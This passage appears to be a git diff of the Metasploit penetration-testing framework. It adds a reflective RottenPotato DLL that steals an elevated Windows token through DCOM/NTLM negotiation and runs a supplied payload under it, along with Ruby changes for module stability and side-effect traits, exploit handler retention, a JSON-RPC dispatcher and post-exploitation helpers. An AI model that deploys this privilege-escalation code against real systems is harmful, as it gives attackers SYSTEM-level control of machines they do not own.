||||
} _PEB, *_PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset : 12;
|
||||
WORD type : 4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,79 @@
|
|||
#include "stdafx.h"
|
||||
#include "ReflectiveLoader.h"
|
||||
#include "MSFRottenPotato.h"
|
||||
|
||||
extern "C" HINSTANCE hAppInstance;
|
||||
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
|
||||
|
||||
HANDLE ElevatedToken;
|
||||
|
||||
VOID ExecutePayload(LPVOID lpPayload)
|
||||
{
|
||||
SetThreadToken(NULL, ElevatedToken);
|
||||
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||
lpCode();
|
||||
}
|
||||
|
||||
int RottenPotato()
|
||||
{
|
||||
CMSFRottenPotato* test = new CMSFRottenPotato();
|
||||
test->startCOMListenerThread();
|
||||
test->startRPCConnectionThread();
|
||||
test->triggerDCOM();
|
||||
int ret = 0;
|
||||
while (true) {
|
||||
if (test->negotiator->authResult != -1) {
|
||||
/*Enable the priv if possible*/
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES tkp;
|
||||
|
||||
// Get a token for this process.
|
||||
|
||||
if (!OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))return 0;
|
||||
|
||||
// Get the LUID for the Impersonate privilege.
|
||||
int res = LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME,
|
||||
&tkp.Privileges[0].Luid);
|
||||
|
||||
tkp.PrivilegeCount = 1; // one privilege to set
|
||||
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
// Get the impersonate priv for this process.
|
||||
res = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
|
||||
|
||||
QuerySecurityContextToken(test->negotiator->phContext, &ElevatedToken);
|
||||
|
||||
break;
|
||||
}
|
||||
else {
|
||||
Sleep(500);
|
||||
}
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
DWORD dwResult = 0;
|
||||
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if (lpReserved != NULL)
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
RottenPotato();
|
||||
ExecutePayload(lpReserved);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,8 @@
|
|||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// MSFRottenPotato.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
|
@ -0,0 +1,16 @@
|
|||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||
// Windows Header Files:
|
||||
#include <windows.h>
|
||||
|
||||
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
|
@ -0,0 +1,8 @@
|
|||
#pragma once
|
||||
|
||||
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||
|
||||
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||
|
||||
#include <SDKDDKVer.h>
|
|
@ -195,6 +195,36 @@ class ReadableText
|
|||
tbl.to_s + "\n"
|
||||
end
|
||||
|
||||
def self.dump_traits(mod, indent=' ')
|
||||
output = ''
|
||||
|
||||
unless mod.side_effects.empty?
|
||||
output << "Module side effects:\n"
|
||||
mod.side_effects.each { |side_effect|
|
||||
output << indent + side_effect + "\n"
|
||||
}
|
||||
output << "\n"
|
||||
end
|
||||
|
||||
unless mod.stability.empty?
|
||||
output << "Module stability:\n"
|
||||
mod.stability.each { |stability|
|
||||
output << indent + stability + "\n"
|
||||
}
|
||||
output << "\n"
|
||||
end
|
||||
|
||||
unless mod.reliability.empty?
|
||||
output << "Module reliability:\n"
|
||||
mod.reliability.each { |reliability|
|
||||
output << indent + reliability + "\n"
|
||||
}
|
||||
output << "\n"
|
||||
end
|
||||
|
||||
output
|
||||
end
|
||||
|
||||
# Dumps information about an exploit module.
|
||||
#
|
||||
# @param mod [Msf::Exploit] the exploit module.
|
||||
|
@ -219,6 +249,8 @@ class ReadableText
|
|||
}
|
||||
output << "\n"
|
||||
|
||||
output << dump_traits(mod)
|
||||
|
||||
# Targets
|
||||
output << "Available targets:\n"
|
||||
output << dump_exploit_targets(mod, indent)
|
||||
|
@ -282,6 +314,8 @@ class ReadableText
|
|||
}
|
||||
output << "\n"
|
||||
|
||||
output << dump_traits(mod)
|
||||
|
||||
# Actions
|
||||
if mod.action
|
||||
output << "Available actions:\n"
|
||||
|
@ -335,6 +369,8 @@ class ReadableText
|
|||
end
|
||||
output << "\n"
|
||||
|
||||
output << dump_traits(mod)
|
||||
|
||||
# Compatible session types
|
||||
if mod.session_types
|
||||
output << "Compatible session types:\n"
|
||||
|
@ -478,6 +514,8 @@ class ReadableText
|
|||
}
|
||||
output << "\n"
|
||||
|
||||
output << dump_traits(mod)
|
||||
|
||||
# Description
|
||||
output << "Description:\n"
|
||||
output << word_wrap(Rex::Text.compress(mod.description))
|
||||
|
|
|
@ -78,6 +78,9 @@ module Exploit
|
|||
# Start it up
|
||||
driver = ExploitDriver.new(exploit.framework)
|
||||
|
||||
# Keep the handler of driver running if exploit multi targets.
|
||||
driver.keep_handler = true if opts["multi"]
|
||||
|
||||
# Initialize the driver instance
|
||||
driver.exploit = exploit
|
||||
driver.payload = exploit.framework.payloads.create(opts['Payload'])
|
||||
|
|
|
@ -51,6 +51,53 @@ RankingName =
|
|||
ExcellentRanking => "excellent"
|
||||
}
|
||||
|
||||
#
|
||||
# Stability traits
|
||||
#
|
||||
|
||||
# Module should not crash the service
|
||||
CRASH_SAFE = 'crash-safe'
|
||||
# Module may crash the service, but the service restarts.
|
||||
CRASH_SERVICE_RESTARTS = 'crash-service-restarts'
|
||||
# Module may crash the service, and the service remains down.
|
||||
CRASH_SERVICE_DOWN = 'crash-service-down'
|
||||
# Module may crash the OS, but the OS restarts.
|
||||
CRASH_OS_RESTARTS = 'crash-os-restarts'
|
||||
# Module may crash the OS, and the OS remains down.
|
||||
CRASH_OS_DOWN = 'crash-os-down'
|
||||
# Module may cause a resource (such as a file or data in database) to be unavailable for the service.
|
||||
SERVICE_RESOURCE_LOSS = 'service-resource-loss'
|
||||
# Modules may cause a resource (such as a file) to be unavailable for the OS.
|
||||
OS_RESOURCE_LOSS = 'os-resource-loss'
|
||||
|
||||
#
|
||||
# Side-effect traits
|
||||
#
|
||||
|
||||
# Modules leaves payload or a dropper on the target machine
|
||||
ARTIFACTS_ON_DISK = 'artifacts-on-disk'
|
||||
# Module modifies some config file on the target machine
|
||||
CONFIG_CHANGES = 'config-changes'
|
||||
# Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log)
|
||||
IOC_IN_LOGS = 'ioc-in-logs'
|
||||
# Module may cause account lockouts (likely due to brute-forcing)
|
||||
ACCOUNT_LOCKOUTS = 'account-lockouts'
|
||||
# Module may show something on the screen (Example: a window pops up)
|
||||
SCREEN_EFFECTS = 'screen-effects'
|
||||
# Module may cause a noise (Examples: audio output from the speakers or hardware beeps)
|
||||
AUDIO_EFFECTS = 'audio-effects'
|
||||
# Module may produce physical effects (Examples: the device makes movement or flashes LEDs)
|
||||
PHYSICAL_EFFECTS = 'physical-effects'
|
||||
|
||||
#
|
||||
# Reliability
|
||||
#
|
||||
|
||||
# The module tends to fail to get a session at first attempt
|
||||
FIRST_ATTEMPT_FAIL = 'first-attempt-fail'
|
||||
# The module is expected to get a shell every time it fires
|
||||
REPEATABLE_SESSION = 'repeatable-session'
|
||||
|
||||
module HttpClients
|
||||
IE = "MSIE"
|
||||
FF = "Firefox"
|
||||
|
|
|
@ -19,6 +19,11 @@ module ServletHelper
|
|||
set_json_data_response(response: '')
|
||||
end
|
||||
|
||||
def set_raw_response(data, code: 200)
|
||||
headers = { 'Content-Type' => 'application/json' }
|
||||
[code, headers, data]
|
||||
end
|
||||
|
||||
def set_json_response(data, includes = nil, code = 200)
|
||||
headers = { 'Content-Type' => 'application/json' }
|
||||
[code, headers, to_json(data, includes)]
|
||||
|
|
|
@ -1409,6 +1409,12 @@ class Exploit < Msf::Module
|
|||
self.print_error("Exploit failed [#{self.fail_reason}]: #{msg}")
|
||||
elog("Exploit failed (#{self.refname}): #{msg}", 'core', LEV_0)
|
||||
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
|
||||
|
||||
when ::Interrupt
|
||||
self.fail_reason = Msf::Exploit::Failure::UserInterrupt
|
||||
self.print_error("Exploit failed [#{self.fail_reason}]: #{msg}")
|
||||
elog("Exploit failed (#{self.refname}): #{msg}", 'core', LEV_0)
|
||||
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
|
||||
else
|
||||
|
||||
# Compare as a string since not all error classes may be loaded
|
||||
|
@ -1450,6 +1456,8 @@ class Exploit < Msf::Module
|
|||
|
||||
# Interrupt any session waiters in the handler
|
||||
self.interrupt_handler
|
||||
|
||||
return self.fail_reason
|
||||
end
|
||||
|
||||
def report_failure
|
||||
|
|
|
@ -22,6 +22,7 @@ class ExploitDriver
|
|||
self.use_job = false
|
||||
self.job_id = nil
|
||||
self.force_wait_for_session = false
|
||||
self.keep_handler = false
|
||||
self.semaphore = Mutex.new
|
||||
end
|
||||
|
||||
|
@ -164,8 +165,15 @@ class ExploitDriver
|
|||
# settings until after they're done.
|
||||
ctx = [ exploit, payload ]
|
||||
|
||||
job_run_proc(ctx)
|
||||
job_cleanup_proc(ctx)
|
||||
begin
|
||||
job_run_proc(ctx)
|
||||
# For multi exploit targets.
|
||||
# Keep the payload handler until last target or interrupt
|
||||
job_cleanup_proc(ctx) unless keep_handler
|
||||
rescue ::Interrupt
|
||||
job_cleanup_proc(ctx)
|
||||
raise $!
|
||||
end
|
||||
end
|
||||
|
||||
return session
|
||||
|
@ -181,6 +189,7 @@ class ExploitDriver
|
|||
attr_accessor :job_id
|
||||
attr_accessor :force_wait_for_session # :nodoc:
|
||||
attr_accessor :session # :nodoc:
|
||||
attr_accessor :keep_handler # :nodoc:
|
||||
|
||||
# To synchronize threads cleaning up the exploit and the handler
|
||||
attr_accessor :semaphore
|
||||
|
@ -211,7 +220,7 @@ protected
|
|||
delay = 0.01
|
||||
end
|
||||
|
||||
exploit.handle_exception e
|
||||
fail_reason = exploit.handle_exception(e)
|
||||
end
|
||||
|
||||
# Start bind handlers after exploit completion
|
||||
|
@ -237,6 +246,10 @@ protected
|
|||
exploit.fail_detail = "No session created"
|
||||
exploit.report_failure
|
||||
end
|
||||
|
||||
if fail_reason && fail_reason == Msf::Exploit::Failure::UserInterrupt
|
||||
raise ::Interrupt
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -39,6 +39,9 @@ class Module
|
|||
autoload :Type, 'msf/core/module/type'
|
||||
autoload :UI, 'msf/core/module/ui'
|
||||
autoload :UUID, 'msf/core/module/uuid'
|
||||
autoload :SideEffects, 'msf/core/module/side_effects'
|
||||
autoload :Stability, 'msf/core/module/stability'
|
||||
autoload :Reliability, 'msf/core/module/reliability'
|
||||
|
||||
include Msf::Module::Arch
|
||||
include Msf::Module::Auth
|
||||
|
@ -56,6 +59,9 @@ class Module
|
|||
include Msf::Module::Type
|
||||
include Msf::Module::UI
|
||||
include Msf::Module::UUID
|
||||
include Msf::Module::SideEffects
|
||||
include Msf::Module::Stability
|
||||
include Msf::Module::Reliability
|
||||
|
||||
# The key where a comma-separated list of Ruby module names will live in the
|
||||
# datastore, consumed by #replicant to allow clean override of MSF module methods.
|
||||
|
|
|
@ -0,0 +1,18 @@
|
|||
module Msf::Module::Reliability
|
||||
extend ActiveSupport::Concern
|
||||
|
||||
module ClassMethods
|
||||
def reliability
|
||||
instance = self.new
|
||||
instance.notes['Reliability'] || []
|
||||
end
|
||||
end
|
||||
|
||||
def reliability
|
||||
self.class.reliability
|
||||
end
|
||||
|
||||
def reliability_to_s
|
||||
reliability * ', '
|
||||
end
|
||||
end
|
|
@ -0,0 +1,19 @@
|
|||
module Msf::Module::SideEffects
|
||||
extend ActiveSupport::Concern
|
||||
|
||||
module ClassMethods
|
||||
def side_effects
|
||||
instance = self.new
|
||||
instance.notes['SideEffects'] || []
|
||||
end
|
||||
end
|
||||
|
||||
def side_effects
|
||||
self.class.side_effects
|
||||
end
|
||||
|
||||
def side_effects_to_s
|
||||
side_effects * ', '
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,19 @@
|
|||
module Msf::Module::Stability
|
||||
extend ActiveSupport::Concern
|
||||
|
||||
module ClassMethods
|
||||
def stability
|
||||
instance = self.new
|
||||
instance.notes['Stability'] || []
|
||||
end
|
||||
end
|
||||
|
||||
def stability
|
||||
self.class.stability
|
||||
end
|
||||
|
||||
def stability_to_s
|
||||
stability * ', '
|
||||
end
|
||||
|
||||
end
|
|
@ -144,6 +144,8 @@ class Msf::Modules::External::Shim
|
|||
# ensure that they are properly capitalized before rendering.
|
||||
#
|
||||
def self.transform_notes(notes)
|
||||
return {} unless notes
|
||||
|
||||
notes.reduce({}) do |acc, (key, val)|
|
||||
acc[key.upcase] = val
|
||||
acc
|
||||
|
|
|
@ -504,9 +504,7 @@ class Msf::Modules::Loader::Base
|
|||
|
||||
# Returns an Array of names to make a fully qualified module name to
|
||||
# wrap the MetasploitModule class so that it doesn't overwrite other
|
||||
# (metasploit) module's classes. Invalid module name characters are
|
||||
# escaped by using 'H*' unpacking and prefixing each code with X so
|
||||
# the code remains a valid module name when it starts with a digit.
|
||||
# (metasploit) module's classes.
|
||||
#
|
||||
# @param [String] module_full_name The unique canonical name
|
||||
# for the module including type.
|
||||
|
@ -514,7 +512,18 @@ class Msf::Modules::Loader::Base
|
|||
#
|
||||
# @see namespace_module
|
||||
def namespace_module_names(module_full_name)
|
||||
NAMESPACE_MODULE_NAMES + [ "Mod" + module_full_name.unpack("H*").first.downcase ]
|
||||
relative_name = module_full_name.split('/').map(&:capitalize).join('__')
|
||||
NAMESPACE_MODULE_NAMES + [relative_name]
|
||||
end
|
||||
|
||||
# This reverses a namespace module's relative name to a module full name
|
||||
#
|
||||
# @param [String] relative_name The namespace module's relative name
|
||||
# @return [String] The module full name
|
||||
#
|
||||
# @see namespace_module_names
|
||||
def reverse_relative_name(relative_name)
|
||||
relative_name.split('__').map(&:downcase).join('/')
|
||||
end
|
||||
|
||||
def namespace_module_transaction(module_full_name, options={}, &block)
|
||||
|
|
|
@ -35,6 +35,10 @@ class Obj
|
|||
attr_reader :arch
|
||||
# @return [Integer]
|
||||
attr_reader :rport
|
||||
# @return [Array<Integer>]
|
||||
attr_reader :autofilter_ports
|
||||
# @return [Array<String>]
|
||||
attr_reader :autofilter_services
|
||||
# @return [Array<String>]
|
||||
attr_reader :targets
|
||||
# @return [Time]
|
||||
|
@ -80,6 +84,12 @@ class Obj
|
|||
@path = module_instance.file_path
|
||||
@mod_time = ::File.mtime(@path) rescue Time.now
|
||||
@ref_name = module_instance.refname
|
||||
if module_instance.respond_to?(:autofilter_ports)
|
||||
@autofilter_ports = module_instance.autofilter_ports
|
||||
end
|
||||
if module_instance.respond_to?(:autofilter_services)
|
||||
@autofilter_services = module_instance.autofilter_services
|
||||
end
|
||||
|
||||
install_path = Msf::Config.install_root.to_s
|
||||
if (@path.to_s.include? (install_path))
|
||||
|
@ -118,6 +128,8 @@ class Obj
|
|||
'platform' => @platform,
|
||||
'arch' => @arch,
|
||||
'rport' => @rport,
|
||||
'autofilter_ports' => @autofilter_ports,
|
||||
'autofilter_services'=> @autofilter_services,
|
||||
'targets' => @targets,
|
||||
'mod_time' => @mod_time.to_s,
|
||||
'path' => @path,
|
||||
|
|
|
@ -264,8 +264,9 @@ class Msf::Payload::Apk
|
|||
fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
|
||||
|
||||
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
|
||||
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
|
||||
apktool_output = run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
|
||||
unless File.readable?(injected_apk)
|
||||
print_error apktool_output
|
||||
raise RuntimeError, "Unable to rebuild apk with apktool"
|
||||
end
|
||||
|
||||
|
|
|
@ -361,6 +361,23 @@ module Msf::Post::File
|
|||
write_file(remote, ::File.read(local))
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the permissions on a remote file
|
||||
#
|
||||
# @param path [String] Path on the remote filesystem
|
||||
# @param mode [Fixnum] Mode as an octal number
|
||||
def chmod(path, mode = 0700)
|
||||
if session.platform == 'windows'
|
||||
raise "`chmod' method does not support Windows systems"
|
||||
end
|
||||
|
||||
if session.type == 'meterpreter' && session.commands.include?('stdapi_fs_chmod')
|
||||
session.fs.file.chmod(path, mode)
|
||||
else
|
||||
cmd_exec("chmod #{mode.to_s(8)} '#{path}'")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Delete remote files
|
||||
#
|
||||
|
|
|
@ -27,14 +27,15 @@ module Msf::Post::OSX::System
|
|||
def get_users
|
||||
cmd_output = cmd_exec("/usr/bin/dscacheutil -q user")
|
||||
users = []
|
||||
users_arry = cmd_output.split("\n\n")
|
||||
users_arry = cmd_output.tr("\r", "").split("\n\n")
|
||||
users_arry.each do |u|
|
||||
entry = Hash.new
|
||||
u.each_line do |l|
|
||||
field,val = l.chomp.split(": ")
|
||||
next if field == "password"
|
||||
entry[field] = val.chomp
|
||||
|
||||
unless val.nil?
|
||||
entry[field] = val.strip
|
||||
end
|
||||
end
|
||||
users << entry
|
||||
end
|
||||
|
@ -48,15 +49,17 @@ module Msf::Post::OSX::System
|
|||
def get_system_accounts
|
||||
cmd_output = cmd_exec("/usr/bin/dscacheutil -q user")
|
||||
users = []
|
||||
users_arry = cmd_output.split("\n\n")
|
||||
users_arry = cmd_output.tr("\r", "").split("\n\n")
|
||||
users_arry.each do |u|
|
||||
entry = {}
|
||||
u.each_line do |l|
|
||||
field,val = l.chomp.split(": ")
|
||||
next if field == "password"
|
||||
entry[field] = val.chomp
|
||||
unless val.nil?
|
||||
entry[field] = val.strip
|
||||
end
|
||||
end
|
||||
next if entry["name"] !~ /^_/
|
||||
next if entry["name"][0] != '_'
|
||||
users << entry
|
||||
end
|
||||
return users
|
||||
|
@ -69,15 +72,17 @@ module Msf::Post::OSX::System
|
|||
def get_nonsystem_accounts
|
||||
cmd_output = cmd_exec("/usr/bin/dscacheutil -q user")
|
||||
users = []
|
||||
users_arry = cmd_output.split("\n\n")
|
||||
users_arry = cmd_output.tr("\r", "").split("\n\n")
|
||||
users_arry.each do |u|
|
||||
entry = {}
|
||||
u.each_line do |l|
|
||||
field,val = l.chomp.split(": ")
|
||||
next if field == "password"
|
||||
entry[field] = val.chomp
|
||||
unless val.nil?
|
||||
entry[field] = val.strip
|
||||
end
|
||||
end
|
||||
next if entry["name"] =~ /^_/
|
||||
next if entry["name"][0] == '_'
|
||||
users << entry
|
||||
end
|
||||
return users
|
||||
|
@ -96,8 +101,9 @@ module Msf::Post::OSX::System
|
|||
u.each_line do |l|
|
||||
field,val = l.chomp.split(": ")
|
||||
next if field == "password"
|
||||
entry[field] = val.chomp
|
||||
|
||||
unless val.nil?
|
||||
entry[field] = val.strip
|
||||
end
|
||||
end
|
||||
groups << entry
|
||||
end
|
||||
|
|
|
@ -1,14 +1,35 @@
|
|||
# -*- coding: binary -*-
|
||||
require "msf/core/rpc/service"
|
||||
require "msf/core/rpc/client"
|
||||
module Msf::RPC
|
||||
require 'msf/core/rpc/v10/constants'
|
||||
|
||||
require "msf/core/rpc/base"
|
||||
require "msf/core/rpc/auth"
|
||||
require "msf/core/rpc/core"
|
||||
require "msf/core/rpc/session"
|
||||
require "msf/core/rpc/module"
|
||||
require "msf/core/rpc/job"
|
||||
require "msf/core/rpc/console"
|
||||
require "msf/core/rpc/db"
|
||||
require "msf/core/rpc/plugin"
|
||||
require 'msf/core/rpc/v10/service'
|
||||
require 'msf/core/rpc/v10/client'
|
||||
|
||||
require 'msf/core/rpc/v10/rpc_auth'
|
||||
require 'msf/core/rpc/v10/rpc_base'
|
||||
require 'msf/core/rpc/v10/rpc_console'
|
||||
require 'msf/core/rpc/v10/rpc_core'
|
||||
require 'msf/core/rpc/v10/rpc_db'
|
||||
require 'msf/core/rpc/v10/rpc_job'
|
||||
require 'msf/core/rpc/v10/rpc_module'
|
||||
require 'msf/core/rpc/v10/rpc_plugin'
|
||||
require 'msf/core/rpc/v10/rpc_session'
|
||||
|
||||
|
||||
module JSON
|
||||
autoload :Dispatcher, 'msf/core/rpc/json/dispatcher'
|
||||
autoload :DispatcherHelper, 'msf/core/rpc/json/dispatcher_helper'
|
||||
autoload :RpcCommand, 'msf/core/rpc/json/rpc_command'
|
||||
autoload :RpcCommandFactory, 'msf/core/rpc/json/rpc_command_factory'
|
||||
|
||||
# exception classes
|
||||
autoload :Error, 'msf/core/rpc/json/error'
|
||||
autoload :ParseError, 'msf/core/rpc/json/error'
|
||||
autoload :InvalidRequest, 'msf/core/rpc/json/error'
|
||||
autoload :MethodNotFound, 'msf/core/rpc/json/error'
|
||||
autoload :InvalidParams, 'msf/core/rpc/json/error'
|
||||
autoload :InternalError, 'msf/core/rpc/json/error'
|
||||
autoload :ServerError, 'msf/core/rpc/json/error'
|
||||
autoload :ApplicationServerError, 'msf/core/rpc/json/error'
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,216 @@
|
|||
require 'json'
|
||||
require 'msf/core/rpc'
|
||||
|
||||
module Msf::RPC::JSON
|
||||
class Dispatcher
|
||||
JSON_RPC_VERSION = '2.0'
|
||||
JSON_RPC_REQUIRED_MEMBERS = %i(jsonrpc method)
|
||||
JSON_RPC_MEMBER_TYPES = {
|
||||
# A String specifying the version of the JSON-RPC protocol.
|
||||
jsonrpc: [String],
|
||||
# A String containing the name of the method to be invoked.
|
||||
method: [String],
|
||||
# If present, parameters for the rpc call MUST be provided as a Structured
|
||||
# value. Either by-position through an Array or by-name through an Object.
|
||||
# * by-position: params MUST be an Array, containing the values in the
|
||||
# Server expected order.
|
||||
# * by-name: params MUST be an Object, with member names that match the
|
||||
# Server expected parameter names. The absence of expected names MAY
|
||||
# result in an error being generated. The names MUST match exactly,
|
||||
# including case, to the method's expected parameters.
|
||||
params: [Array, Hash],
|
||||
# An identifier established by the Client that MUST contain a String,
|
||||
# Number, or NULL value if included. If it is not included it is assumed
|
||||
# to be a notification. The value SHOULD normally not be Null [1] and
|
||||
# Numbers SHOULD NOT contain fractional parts [2]
|
||||
id: [Integer, String, NilClass]
|
||||
}
|
||||
|
||||
attr_reader :framework
|
||||
attr_reader :command
|
||||
|
||||
# Instantiate a Dispatcher.
|
||||
# @param framework [Msf::Simple::Framework] Framework wrapper instance
|
||||
def initialize(framework)
|
||||
@framework = framework
|
||||
@command = nil
|
||||
end
|
||||
|
||||
# Set the command.
|
||||
# @param command [RpcCommand] the command used by the Dispatcher.
|
||||
def set_command(command)
|
||||
@command = command
|
||||
end
|
||||
|
||||
# Process the JSON-RPC request.
|
||||
# @param source [String] the JSON-RPC request
|
||||
# @return [String] JSON-RPC response that encapsulates the RPC result
|
||||
# if successful; otherwise, a JSON-RPC error response.
|
||||
def process(source)
|
||||
begin
|
||||
request = parse_json_request(source)
|
||||
if request.is_a?(Array)
|
||||
# If the batch rpc call itself fails to be recognized as an valid
|
||||
# JSON or as an Array with at least one value, the response from
|
||||
# the Server MUST be a single Response object.
|
||||
raise InvalidRequest.new if request.empty?
|
||||
# process batch request
|
||||
response = request.map { |r| process_request(r) }
|
||||
# A Response object SHOULD exist for each Request object, except that
|
||||
# there SHOULD NOT be any Response objects for notifications.
|
||||
# Remove nil responses from response array
|
||||
response.compact!
|
||||
else
|
||||
response = process_request(request)
|
||||
end
|
||||
rescue ParseError, InvalidRequest => e
|
||||
# If there was an error in detecting the id in the Request object
|
||||
# (e.g. Parse error/Invalid Request), then the id member MUST be
|
||||
# Null. Don't pass request obj when building the error response.
|
||||
response = self.class.create_error_response(e)
|
||||
rescue RpcError => e
|
||||
# other JSON-RPC errors should include the id from the Request object
|
||||
response = self.class.create_error_response(e, request)
|
||||
rescue => e
|
||||
response = self.class.create_error_response(ApplicationServerError.new(e), request)
|
||||
end
|
||||
|
||||
# When a rpc call is made, the Server MUST reply with a Response, except
|
||||
# for in the case of Notifications. The Response is expressed as a single
|
||||
# JSON Object.
|
||||
self.class.to_json(response)
|
||||
end
|
||||
|
||||
# Validate and execute the JSON-RPC request.
|
||||
# @param request [Hash] the JSON-RPC request
|
||||
# @returns [RpcCommand] an RpcCommand for the specified version
|
||||
# @raise [InvalidParams] ArgumentError occurred during execution.
|
||||
# @raise [ApplicationServerError] General server-error wrapper around an
|
||||
# Msf::RPC::Exception that occurred during execution.
|
||||
# @returns [Hash] JSON-RPC response that encapsulates the RPC result
|
||||
# if successful; otherwise, a JSON-RPC error response.
|
||||
def process_request(request)
|
||||
begin
|
||||
if !validate_rpc_request(request)
|
||||
response = self.class.create_error_response(InvalidRequest.new)
|
||||
return response
|
||||
end
|
||||
|
||||
# dispatch method execution to command
|
||||
result = @command.execute(request[:method], request[:params])
|
||||
|
||||
# A Notification is a Request object without an "id" member. A Request
|
||||
# object that is a Notification signifies the Client's lack of interest
|
||||
# in the corresponding Response object, and as such no Response object
|
||||
# needs to be returned to the client. The Server MUST NOT reply to a
|
||||
# Notification, including those that are within a batch request.
|
||||
if request.key?(:id)
|
||||
response = self.class.create_success_response(result, request)
|
||||
else
|
||||
response = nil
|
||||
end
|
||||
|
||||
response
|
||||
rescue ArgumentError
|
||||
raise InvalidParams.new
|
||||
rescue Msf::RPC::Exception => e
|
||||
raise ApplicationServerError.new(e.message, data: { code: e.code })
|
||||
end
|
||||
end
|
||||
|
||||
# Validate the JSON-RPC request.
|
||||
# @param request [Hash] the JSON-RPC request
|
||||
# @returns [Boolean] true if the JSON-RPC request is a valid; otherwise, false.
|
||||
def validate_rpc_request(request)
|
||||
# validate request is an object
|
||||
return false unless request.is_a?(Hash)
|
||||
|
||||
# validate request contains required members
|
||||
JSON_RPC_REQUIRED_MEMBERS.each { |member| return false unless request.key?(member) }
|
||||
|
||||
return false if request[:jsonrpc] != JSON_RPC_VERSION
|
||||
|
||||
# validate request members are correct types
|
||||
request.each do |member, value|
|
||||
return false if JSON_RPC_MEMBER_TYPES.key?(member) &&
|
||||
!JSON_RPC_MEMBER_TYPES[member].one? { |type| value.is_a?(type) }
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Parse the JSON document source into a Hash or Array with symbols for the names (keys).
|
||||
# @param source [String] the JSON source
|
||||
# @raise [ParseError] Invalid JSON was received by the server.
|
||||
# An error occurred on the server while parsing the JSON text.
|
||||
# @return [Hash or Array] Hash or Array representation of source
|
||||
def parse_json_request(source)
|
||||
begin
|
||||
JSON.parse(source, symbolize_names: true)
|
||||
rescue
|
||||
raise ParseError.new
|
||||
end
|
||||
end
|
||||
|
||||
# Serialize data as JSON string.
|
||||
# @param data [Hash] data
|
||||
# @return [String] data serialized JSON string if data not nil; otherwise, nil.
|
||||
def self.to_json(data)
|
||||
return nil if data.nil?
|
||||
|
||||
json = data.to_json
|
||||
return json.to_s
|
||||
end
|
||||
|
||||
# Create a JSON-RPC success response.
|
||||
# @param result [Object] the RPC method's return value
|
||||
# @param request [Hash] the JSON-RPC request
|
||||
# @returns [Hash] JSON-RPC success response.
|
||||
def self.create_success_response(result, request = nil)
|
||||
response = {
|
||||
# A String specifying the version of the JSON-RPC protocol.
|
||||
jsonrpc: JSON_RPC_VERSION,
|
||||
|
||||
# This member is REQUIRED on success.
|
||||
# This member MUST NOT exist if there was an error invoking the method.
|
||||
# The value of this member is determined by the method invoked on the Server.
|
||||
result: result
|
||||
}
|
||||
|
||||
self.add_response_id_member(response, request)
|
||||
|
||||
response
|
||||
end
|
||||
|
||||
# Create a JSON-RPC error response.
|
||||
# @param error [RpcError] a RpcError instance
|
||||
# @param request [Hash] the JSON-RPC request
|
||||
# @returns [Hash] JSON-RPC error response.
|
||||
def self.create_error_response(error, request = nil)
|
||||
response = {
|
||||
# A String specifying the version of the JSON-RPC protocol.
|
||||
jsonrpc: JSON_RPC_VERSION,
|
||||
|
||||
# This member is REQUIRED on error.
|
||||
# This member MUST NOT exist if there was no error triggered during invocation.
|
||||
# The value for this member MUST be an Object as defined in section 5.1.
|
||||
error: error.to_h
|
||||
}
|
||||
|
||||
self.add_response_id_member(response, request)
|
||||
|
||||
response
|
||||
end
|
||||
|
||||
# Adds response id based on request id.
|
||||
# @param response [Hash] the JSON-RPC response
|
||||
# @param request [Hash] the JSON-RPC request
|
||||
